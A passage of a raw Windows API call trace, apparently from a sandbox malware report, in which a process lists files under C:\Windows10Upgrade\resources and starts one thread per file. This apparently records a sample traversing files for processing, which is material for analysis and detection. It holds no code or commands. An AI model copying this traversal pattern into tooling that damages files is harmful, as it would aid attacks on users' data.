hFindFile=0x3434228, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3aedef, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3aedef, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2684, dwReserved0=0x0, dwReserved1=0x0, cFileName="nxquery.cat", cAlternateFileName="")) returned 1 [0072.897] wcscmp (_String1="nxquery.cat", _String2=".") returned 1 [0072.897] wcscmp (_String1="nxquery.cat", _String2="..") returned 1 [0072.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3426ec8 [0072.897] wcscpy (in: _Dest=0x3426ec8, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0072.897] wcscat (in: _Dest=0x3426ec8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0072.897] wcscat (in: _Dest=0x3426ec8, _Source="nxquery.cat" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat" [0072.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0 [0072.898] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b017f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b017f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="nxquery.inf", cAlternateFileName="")) returned 1 [0072.898] wcscmp (_String1="nxquery.inf", _String2=".") returned 1 [0072.898] wcscmp (_String1="nxquery.inf", _String2="..") returned 1 [0072.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3426d90 [0072.898] wcscpy (in: _Dest=0x3426d90, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0072.898] wcscat (in: _Dest=0x3426d90, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0072.898] wcscat (in: _Dest=0x3426d90, _Source="nxquery.inf" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf" [0072.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4 [0072.900] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b2895, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b2895, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x4eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NXQuery.sys", cAlternateFileName="")) returned 1 [0072.900] wcscmp (_String1="NXQuery.sys", _String2=".") returned 1 [0072.900] wcscmp (_String1="NXQuery.sys", _String2="..") returned 1 [0072.900] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b2895, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b2895, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x4eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NXQuery.sys", cAlternateFileName="")) returned 0 [0072.900] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0072.901] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e4d0) returned 1 [0072.901] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34249a0) returned 1 [0072.901] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa738) returned 1 [0072.901] RtlExitUserThread (Status=0x0) Thread: id = 151 os_tid = 0x10d4 [0062.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x33fa0a8 [0062.939] wcscpy (in: _Dest=0x33fa0a8, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0062.939] wcscat (in: _Dest=0x33fa0a8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0062.939] wcscat (in: _Dest=0x33fa0a8, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\*" [0062.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342c7f0 [0062.939] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\*", lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434268 [0062.941] wcscmp (_String1=".", _String2=".") returned 0 [0062.941] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.941] wcscmp (_String1="..", _String2=".") returned 1 [0062.941] wcscmp (_String1="..", _String2="..") returned 0 [0062.941] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b4fa7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b4fa7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x397, dwReserved0=0x0, dwReserved1=0x0, cFileName="block.png", cAlternateFileName="")) returned 1 [0062.941] wcscmp (_String1="block.png", _String2=".") returned 1 [0062.941] wcscmp (_String1="block.png", _String2="..") returned 1 [0062.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3481f18 [0062.941] wcscpy (in: _Dest=0x3481f18, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0062.942] wcscat (in: _Dest=0x3481f18, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0062.942] wcscat (in: _Dest=0x3481f18, _Source="block.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\block.png") returned="C:\\Windows10Upgrade\\resources\\ux\\block.png" [0072.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481f18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0072.863] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b8a24, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b8a24, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x749e0600, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0x1ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bluelogo.png", cAlternateFileName="")) returned 1 [0072.863] wcscmp (_String1="bluelogo.png", _String2=".") returned 1 [0072.863] wcscmp (_String1="bluelogo.png", _String2="..") returned 1 [0072.863] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427068 [0072.863] wcscpy (in: _Dest=0x3427068, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.864] wcscat (in: _Dest=0x3427068, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.864] wcscat (in: _Dest=0x3427068, _Source="bluelogo.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png") returned="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" [0072.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0072.864] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b9dbd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b9dbd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="bullet.png", cAlternateFileName="")) returned 1 [0072.864] wcscmp (_String1="bullet.png", _String2=".") returned 1 [0072.864] wcscmp (_String1="bullet.png", _String2="..") returned 1 [0072.865] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3480240 [0072.865] wcscpy (in: _Dest=0x3480240, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.865] wcscat (in: _Dest=0x3480240, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.865] wcscat (in: _Dest=0x3480240, _Source="bullet.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bullet.png") returned="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" [0072.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0072.866] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bb141, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bb141, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1687, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.css", cAlternateFileName="")) returned 1 [0072.866] wcscmp (_String1="default.css", _String2=".") returned 1 [0072.866] wcscmp (_String1="default.css", _String2="..") returned 1 [0072.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426e60 [0072.866] wcscpy (in: _Dest=0x3426e60, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.866] wcscat (in: _Dest=0x3426e60, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.866] wcscat (in: _Dest=0x3426e60, _Source="default.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default.css" [0072.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0072.866] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bc4cd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bc4cd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xf44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.htm", cAlternateFileName="")) returned 1 [0072.867] wcscmp (_String1="default.htm", _String2=".") returned 1 [0072.867] wcscmp (_String1="default.htm", _String2="..") returned 1 [0072.867] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426bf0 [0072.867] wcscpy (in: _Dest=0x3426bf0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.867] wcscat (in: _Dest=0x3426bf0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.867] wcscat (in: _Dest=0x3426bf0, _Source="default.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default.htm" [0072.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0072.867] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bd859, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bd859, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x13e24500, ftLastWriteTime.dwHighDateTime=0x1d2ee61, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_eos.css", cAlternateFileName="DEFAUL~1.CSS")) returned 1 [0072.867] wcscmp (_String1="default_eos.css", _String2=".") returned 1 [0072.868] wcscmp (_String1="default_eos.css", _String2="..") returned 1 [0072.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347d930 [0072.868] wcscpy (in: _Dest=0x347d930, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.868] wcscat (in: _Dest=0x347d930, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.868] wcscat (in: _Dest=0x347d930, _Source="default_eos.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" [0072.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0072.870] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bff6c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bff6c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea75e900, ftLastWriteTime.dwHighDateTime=0x1d2ee61, nFileSizeHigh=0x0, nFileSizeLow=0xda3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_eos.htm", cAlternateFileName="DEFAUL~1.HTM")) returned 1 [0072.870] wcscmp (_String1="default_eos.htm", _String2=".") returned 1 [0072.870] wcscmp (_String1="default_eos.htm", _String2="..") returned 1 [0072.870] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e490 [0072.870] wcscpy (in: _Dest=0x347e490, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.870] wcscat (in: _Dest=0x347e490, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.870] wcscat (in: _Dest=0x347e490, _Source="default_eos.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" [0072.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0072.871] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c12fc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c12fc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1468, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_oobe.css", cAlternateFileName="DEFAUL~2.CSS")) returned 1 [0072.871] wcscmp (_String1="default_oobe.css", _String2=".") returned 1 [0072.871] wcscmp (_String1="default_oobe.css", _String2="..") returned 1 [0072.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347dd90 [0072.871] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.871] wcscat (in: _Dest=0x347dd90, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.871] wcscat (in: _Dest=0x347dd90, _Source="default_oobe.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" [0072.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347dd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0072.872] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c2685, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c2685, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7f589b00, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0x100ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_oobe.htm", cAlternateFileName="DEFAUL~2.HTM")) returned 1 [0072.872] wcscmp (_String1="default_oobe.htm", _String2=".") returned 1 [0072.872] wcscmp (_String1="default_oobe.htm", _String2="..") returned 1 [0072.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e2d0 [0072.872] wcscpy (in: _Dest=0x347e2d0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.872] wcscat (in: _Dest=0x347e2d0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.872] wcscat (in: _Dest=0x347e2d0, _Source="default_oobe.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" [0072.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0072.873] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea5f6eb5, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA", cAlternateFileName="")) returned 1 [0072.873] wcscmp (_String1="EULA", _String2=".") returned 1 [0072.873] wcscmp (_String1="EULA", _String2="..") returned 1 [0072.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x341f140 [0072.873] wcscpy (in: _Dest=0x341f140, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.873] wcscat (in: _Dest=0x341f140, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.873] wcscat (in: _Dest=0x341f140, _Source="EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0072.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341f140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0072.874] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.css", cAlternateFileName="")) returned 1 [0072.874] wcscmp (_String1="eula.css", _String2=".") returned 1 [0072.874] wcscmp (_String1="eula.css", _String2="..") returned 1 [0072.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x34802a0 [0072.874] wcscpy (in: _Dest=0x34802a0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.874] wcscat (in: _Dest=0x34802a0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.874] wcscat (in: _Dest=0x34802a0, _Source="eula.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\eula.css") returned="C:\\Windows10Upgrade\\resources\\ux\\eula.css" [0072.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34802a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0072.875] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStarted.png", cAlternateFileName="GETSTA~1.PNG")) returned 1 [0072.875] wcscmp (_String1="GetStarted.png", _String2=".") returned 1 [0072.875] wcscmp (_String1="GetStarted.png", _String2="..") returned 1 [0072.875] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x34270d0 [0072.875] wcscpy (in: _Dest=0x34270d0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.875] wcscat (in: _Dest=0x34270d0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.875] wcscat (in: _Dest=0x34270d0, _Source="GetStarted.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" [0072.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34270d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0072.881] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedHoverOver.png", cAlternateFileName="GETSTA~2.PNG")) returned 1 [0072.881] wcscmp (_String1="GetStartedHoverOver.png", _String2=".") returned 1 [0072.881] wcscmp (_String1="GetStartedHoverOver.png", _String2="..") returned 1 [0072.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd170 [0072.881] wcscpy (in: _Dest=0x33cd170, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.881] wcscat (in: _Dest=0x33cd170, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.881] wcscat (in: _Dest=0x33cd170, _Source="GetStartedHoverOver.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" [0072.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0072.882] FindNextFileW (in: 